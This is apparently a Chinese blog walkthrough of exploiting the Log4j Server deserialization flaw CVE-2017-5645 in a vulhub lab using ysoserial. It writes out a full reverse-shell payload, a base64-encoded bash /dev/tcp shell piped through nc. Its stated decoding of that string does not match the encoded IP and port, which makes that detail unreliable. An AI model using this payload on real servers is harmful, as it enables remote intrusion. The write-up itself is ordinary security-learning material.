Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

vuluhub搭建靶场

ysoserial是什么?

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程"小工具链",在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

ysoserial项目地址:

Release v0.0.6 · frohoff/ysoserial · GitHub

下载后打包成jar文件进行使用。

通过jar文件执行系统命令

创建一个文件看看

然后执行docker compose exec log4j bash进入容器,可见 /tmp/success 已成功创建:

试试反弹shell,这个要对被反弹语句进行给base64加密

如何构造pyload

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.201.128 4712

bash -c:这个选项告诉 Bash 执行后面的一系列命令。

{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMjkvNjY2NiAwPiYx}:这是一个经过 Base64 编码的命令字符串,解码后为bash -i >& /dev/tcp/192.168.188.185/4712 0>&1。意思是将 Bash 的输入和输出重定向到指定的 IP 地址和端口。

{base64,-d}:这个命令使用 base64 工具进行 Base64 解码。

{bash,-i}:这个命令会执行解码后的 Bash 命令,即与指定的 IP 地址和端口建立一个交互式的 Shell 连接。

成功拿到shell

涉及一下原理

主要是因为log4j的序列号机制,处理外来序列化数据时候。如果数据是恶意pyload,就会触发不安全的反序列化操作,导致名命令执行漏洞,通过java的流泪有关

CVE-2017-5645漏洞的产生源于Log4j的序列化机制。当Log4j处理来自外部的序列化数据时,如果数据经过恶意修改,可能会触发不安全的反序列化操作,进而导致攻击者执行任意代码。这种漏洞的产生通常与Java的ObjectInputStream类有关,该类在处理序列化数据时存在安全风险。

修复方法,升级版本

jian

kang

相关推荐
回忆2012初秋7 小时前
.NET 时序数据操作实战:Apache IoTDB连接与 CRUD 完全指南
.net·apache·iotdb
weixin_430750938 小时前
部署FreeRadius+php+apache+mariaDB+daloradius 实现认证计费功能
php·apache·mariadb·daloradius·freeradius
还在忙碌的吴小二1 天前
Apache HertzBeat 安装使用完整指南
apache
web前端神器1 天前
记录uniapp小程序的报错
小程序·uni-app·apache
zhojiew2 天前
在AWS上完成Apache Doris存算一体/存算分离和湖仓数据库部署的实践
数据库·apache·aws
想你依然心痛3 天前
大数据时代时序数据库选型指南:Apache IoTDB 的实战进阶与避坑法则
大数据·apache·时序数据库
李白你好3 天前
ActiveMQ-EXPtools支持检测和利用Apache ActiveMQ漏洞
apache·activemq
俺爱吃萝卜4 天前
开源贡献指南:如何给Apache或Linux内核提PR?
linux·开源·apache
Ulyanov6 天前
Apache Kafka在雷达仿真数据流处理中的应用
分布式·python·kafka·apache·雷达电子战
anzhxu6 天前
防火墙安全策略(基本配置)
服务器·php·apache